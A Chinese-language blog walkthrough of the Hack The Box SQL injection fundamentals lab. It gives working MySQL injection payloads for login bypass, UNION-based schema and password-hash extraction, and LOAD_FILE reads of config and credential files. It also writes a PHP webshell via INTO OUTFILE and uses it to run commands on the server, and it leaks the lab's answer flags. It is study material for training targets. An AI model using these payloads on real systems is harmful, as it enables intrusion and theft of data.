返回目录

攻破HTB SQLi基础模块

CTF SQLi WEB 安全

HTB SQL注入基础(MySQL)

知识点

可用参考:SQLi Payloads

MySQL评论符号:

#--(--后面有一个空格)

/* 注释内容 */ 不常用

检测表的列数的方法:

1. 使用ORDER BY语句

当使用ORDER BY 1时,表示按第一列排序,如果没有报错,说明至少有一列;当使用ORDER BY 2时,表示按第二列排序,如果没有报错,说明至少有两列;以此类推,直到报错为止。

2. 使用UNION SELECT语句

当使用UNION SELECT NULL时,表示选择一列附加到原来的查询结果中,如果报错,说明原来的查询结果至少有两列;当使用UNION SELECT NULL, NULL时,表示选择两列附加到原来的查询结果中,如果报错,说明原来的查询结果至少有三列;以此类推,直到不报错为止。

Union必须满足类型一致,而NULL与任何类型都可以进行Union操作

获取数据库结构(Database Enumeration)

获取数据库名、表名、列名,可以使用information_schema数据库中的SCHEMATATABLESCOLUMNS表。

获取数据库名:

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

获取某数据库的表名:

SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名';

获取某表的列名:

SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='数据库名' AND TABLE_NAME='表名';

之后进行寻常的注入即可,跨数据库的操作需要使用类似database.table.column的方式。

用户权限

获取当前用户:

SELECT user();
SELECT current_user();
SELECT user FROM mysql.user;

获取当前用户权限:

是否有超级权限(Y代表有,N代表没有):

SELECT super_priv FROM mysql.user WHERE user='用户名';

具体权限:

SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee='用户名'@'主机名';

secure_file_priv:安全文件目录,MySQL服务器只能从该目录读取或写入文件,若该值为空,则表示没有限制读取或写入文件的目录;若该值为NULL,表示不能读取或写入文件。

SELECT @@secure_file_priv;
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv";
  • MariaDB 默认为空。
  • MySQL 默认为/var/lib/mysql-files
  • 一些现代DB版本默认为NULL。

读取文件(需MySQL FILE权限和OS读权限)

SELECT LOAD_FILE('文件路径');
  • /etc/apache2/apache2.conf
  • /etc/nginx/nginx.conf
  • %WinDir%\System32\Inetsrv\Config\ApplicationHost.config
  • /etc/passwd

写入文件(需MySQL FILE权限、OS写权限、secure_file_priv未限制)

SELECT '内容' INTO OUTFILE '文件路径';

SQL注入写入WEBSHELL,该SHELL接收对shell.php的请求,执行code参数内的命令,(使用空字符串以平衡union列数):

cn' union select "",'<?php system($_REQUEST['code']); ?>', "", "" into outfile '/var/www/html/shell.php'-- 

MySQL Fingerprint

Payload 何时使用 期望结果 错误输出
SELECT @@version 有完整查询输出 MySQL 版本,例如: '10.3.22-MariaDB-1ubuntu1' 在 MSSQL 返回 MSSQL 版本. 其它DBMS报错.
SELECT POW(1,1) 只有数字输出 1 其它 DBMS 报错
SELECT SLEEP(5) 盲注/无输出 延迟5秒响应 其它DBMS不会延迟

问题一:以tom为用户名登录,获取flag

question1

如果使用payload:

username=tom
password=tom' or '1'='1

最终会生成如下SQL语句:

SELECT * FROM users WHERE username='tom' AND password='tom' or '1'='1';

由于 AND 的优先级高于 OR,所以 SQL 语句会被解析为:

SELECT * FROM users WHERE (username='tom' AND password='tom') or '1'='1';

password='tom' 的条件不成立,但是 '1'='1' 永远为真,最终 SQL 语句会返回所有用户的信息,我们作为第一个用户admin登录

admin

但admin用户没有flag,所以我们需要使用tom用户登录。

使用payload:

username=tom #
password=

最终会生成如下SQL语句:

SELECT * FROM users WHERE username='tom' # AND password='';

由于#是MySQL的注释符号,AND password=''会被注释掉,所以最终SQL语句会被解析为:

SELECT * FROM users WHERE username='tom';

语句返回了tom用户的信息,我们成功登录。

tom_success

获取flag:202a1d1a8b195d5e9a57e434cc16000c

问题二:以id=5的用户登录,获取flag

SELECT * FROM logins WHERE (username='$username' AND id > 1) AND password='$password';

题目要求我们以id=5的用户登录,使用payload闭合括号和引号,同时注释掉之后的内容即可:

username=internetsb' or id=5) -- -
password=

最终会生成如下SQL语句:

SELECT * FROM logins WHERE (username='internetsb' or id=5) -- -' AND id > 1) AND password='';

由于--是MySQL的注释符号,AND id > 1) AND password=''会被注释掉,所以最终SQL语句会被解析为:

SELECT * FROM logins WHERE (username='internetsb' or id=5);

由于id=5的用户存在,所以我们成功登录。

superadmin_success

获取flag:cdad9ecdf6f14b45ff5c4de32909caec

问题三:Union注入获取user()

通过ORDER BY语句检测出原始查询语句有4列,使用payload:

1' UNION SELECT 1,2,3,user() -- -

于是得到最终查询结果为1,2,3,root@localhost

union1

问题四:获取ilfreight数据库中newuser的密码Hash

通过ORDER BY语句检测出原始查询语句有4列,使用payload查询ilfreight数据库的表结构:

1' UNION SELECT 1,TABLE_NAME,3,4 FROM information_schema.TABLES WHERE TABLE_SCHEMA='ilfreight' -- -

tables

得知ilfreight数据库中的表有portsproductsusers

查询users表的列结构:

1' UNION SELECT 1,COLUMN_NAME,3,4 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='ilfreight' AND TABLE_NAME='users' -- -

columns

得知users表中有idusernamepassword

查询users表中usernamenewuser的密码Hash:

1' UNION SELECT 1,password,3,4 FROM ilfreight.users WHERE username='newuser' -- -

password

得知newuser的密码Hash为:9da2c9bcdf39d8610954e0e11ea8f45f

问题五:读取文件获取数据库密码

使用LOAD_FILE读取页面源代码,使用payload:

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

获取到页面源代码:

<!-- 省略 -->
<tr><td style="width:400px" colspan=3><?php
include "config.php";
?>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Search Ports</title>

    <link href="./style.css" rel="stylesheet">
    </head>

  <body>
  <div class="container-narrow" style="width:820px">


        <div class="response" style="background-color: #28ACE2; width:820px"> 

            <p style="color:white">
            <table class="response" style="background-color: #28ACE2">
            <form method="GET" autocomplete="off">

            <tr>
                <td>
                    Search for a port:  
                </td>
                <td>
                    <input type="text" id="port_code" name="port_code">&nbsp;&nbsp;
                </td>
                <td>
                    <input type="submit" value="Search"/> 
                </td>
            </tr>
    </table>

            </p>

        </form>
        </div>


        <br />
<div class="searchheader" style="color:white;background-color: white">
<table class="tabl pure-table"> 
<thead>

    <tr class="rowz"> 
    <td style="width:500px" colspan=3 >
        <b>Port Code</b>
    </td>

    <td style="width:500px" colspan=3 >
        <b>Port City</b>
    </td>

    <td style="width:500px" colspan=3>
        <b>Port Volume</b>
    </td>

</tr>
</thead>
<tbody>

<?php
if (isset($_GET["port_code"])) {
$q = "Select * from ports where code like '%".$_GET["port_code"]."%'";

$result = mysqli_query($conn,$q);
if (!$result)
{
        die("</table></div><p style='font-size: 15px'>".mysqli_error($conn)."</p>");
}
while($row = mysqli_fetch_array($result))
  {
  echo "<tr><td style=\"width:400px\" colspan=3>".$row[1]."</td><td style=\"width:400px\" colspan=3>".$row[2]."</td><td style=\"width:450px\" colspan=3>".$row[3]."</tr>";
  }
}
?>
</tbody>
<!-- 省略 -->

$conn是数据库连接对象,通过include "config.php";引入配置文件,配置文件中包含数据库连接信息:

使用payload:

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -

获取到数据库连接信息:

db_password

可知数据库密码为:dB_pAssw0rd_iS_flag!

问题六:写入文件获取WebShell

使用payload:

cn' union select "",'<?php system($_REQUEST[code]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

/var/www/html/shell.php发送请求:

http://HOST:PORT/shell.php?code=ls
config.php index.php search.php shell.php style.css

都已经有shell了,直接省略过程,flag在上一级目录的flag.txt中,使用cat读取:

http://HOST:PORT/shell.php?code=cat ../flag.txt

获取到flag:d2b5b27ae688b6a0f1d21b7d3a0798cd

终极挑战:对网站进行渗透测试

寻找SQL注入漏洞

login

register

整个网站共有登录页面2个、注册界面4个,共6个输入框。

探索了好一会儿,注册界面的invitation code存在SQL注入漏洞,虽然格式要求是abcd-efgh-1234,但所幸这只是前端验证,使用工具,例如Burp Suite的Repeater功能,构造payload:

username=internetsb&password=Test%40123456&repeatPassword=Test%40123456&invitationCode=1' or '1'='1

成功创建了一个新用户internetsb

assessment1

使用刚刚创建的账户登录:

assessment2

search搜索框很可能存在SQL注入漏洞,当前的搜索逻辑是:返回所有含有搜索关键词的双方聊天记录,并将关键词高亮显示

搜索不存在的关键词test,显示无结果:

assessment3

使用payload',返回空白页而不是无结果,说明存在SQL注入漏洞:

assessment4

不断尝试闭合SQL语句的括号和引号,最终发现payload') --可以成功闭合并返回结果:

assessment5

现在我们知道了:sql语句出错时,返回空白页;sql语句正确时,返回搜到的结果。

使用UNION SELECT语句尝试增加列数直至不返回空白页,最终发现原始查询语句有4列,使用payload:

') UNION SELECT 1,2,3,4 -- -

assessment6

且第三列和第四列是可以输出的,之后就好办了

小问题一:用户admin的密码Hash

使用payload:

') UNION SELECT 1,2,SCHEMA_NAME,4 from information_schema.schemata -- -

得知存在数据库chattr:

assessment7

使用payload:

') UNION SELECT 1,2,TABLE_NAME,4 from information_schema.tables where TABLE_SCHEMA='chattr' -- -

得知数据库chattr中存在表Users,InvitationCodes,Messages

使用payload:

') UNION SELECT 1,2,COLUMN_NAME,4 from information_schema.columns where TABLE_SCHEMA='chattr' and TABLE_NAME='Users' -- -

得知表Users中存在列UserID,Username,Password,InvitationCode,AccountCreated

现在可以获取密码了,使用payload:

') UNION SELECT 1,2,Password,4 from chattr.Users where Username='admin' -- -

返回$argon2i$v=19$m=2048,t=4,p=3$dk4wdDBraE0zZVllcEUudA$CdU8zKxmToQybvtHfs1d5nHzjxw9DhkdcVToq6HTgvU,这就是HTB上需提交的flag。

这是一个argon2i算法加密的密码Hash,较为安全,无法直接破解。

小问题二:网页应用的根目录

在尝试用http连接时报出nginx错误,说明网页服务器为nginx。尝试读取配置文件,使用payload:

') UNION SELECT 1,2,LOAD_FILE('/etc/nginx/nginx.conf'),4 -- -

返回nginx配置文件,格式化一下得到

user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    ##
    # Basic Settings
    ##
    sendfile on;
    tcp_nopush on;
    types_hash_max_size 2048;
    # server_tokens off;
    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##
    access_log /var/log/nginx/access.log;

    ##
    # Gzip Settings
    ##
    gzip on;
    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}

#mail {
#    # See sample authentication script at:
#    # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#    #
#    # auth_http localhost/auth.php;
#    # pop3_capabilities "TOP" "USER";
#    # imap_capabilities "IMAP4rev1" "UIDPLUS";
#    # server {
#    #     listen localhost:110;
#    #     protocol pop3;
#    #     proxy on;
#    # }
#    # server {
#    #     listen localhost:143;
#    #     protocol imap;
#    #     proxy on;
#    # }
#}

并没有发现网页应用的根目录,发现配置中include了其它文件,尝试读取/etc/nginx/sites-enabled/default配置文件,使用payload:

') UNION SELECT 1,2,LOAD_FILE('/etc/nginx/sites-enabled/default'),4 -- -

返回一个server配置块,格式化一下得到

server {
    listen 443 ssl;
    server_name chattr.htb;

    ssl_password_file /root/chattr.key.pass;
    ssl_certificate /etc/ssl/certs/chattr.crt;
    ssl_certificate_key /etc/ssl/private/chattr.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    root /var/www/chattr-prod;

    location / {
        index index.php;
        try_files $uri $uri/ /index.php?$query_string;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php8.2-fpm.sock;
    }

    location ^~ /includes/ {
        deny all;
    }
}

这下我们知道网页应用的根目录为/var/www/chattr-prod

小问题三:写入WEBSHELL并获取flag

写入WEBSHELL,使用payload:

') UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4 INTO OUTFILE '/var/www/chattr-prod/shell.php' -- -

访问

https://HOST:PORT/shell.php?cmd=find / -type f -name "flag_*"

从根目录/开始查找所有名称以"flag_"开头的文件

返回

5 1 1 2026-06-28 12:04:20 5 1 2 2026-06-28 12:04:22 1 /flag_876a4c.txt 3 4

这些杂乱的输出是因为之前把SELECT...UNION结果一并写入了shell.php,但php解释器还是执行了代码并返回了输出,索性懒得再改了,更好的情况下可以构造空查询结果并SELECT "", '', "", ""

于是得知flag路径为/flag_876a4c.txt,webshell使用cat查看flag

https://HOST:PORT/shell.php?cmd=cat /flag_876a4c.txt

返回:

5 1 1 2026-06-28 12:04:20 5 1 2 2026-06-28 12:04:22 1 061b1aeb94dec6bf5d9c27032b3c1d8d 3 4

获取到flag:061b1aeb94dec6bf5d9c27032b3c1d8d

总结

漏洞发现总是比漏洞利用要难的。

终极挑战相较于前面的练习难度很大,主要是因为要从整个网站的众多注入点中找到SQL注入漏洞,真实的渗透测试中甚至难度只增不减。

所幸AI的辅助让我们可以快速地找到SQL注入漏洞,多亏了AI让我找到了注册界面的invitation code注入点。

留言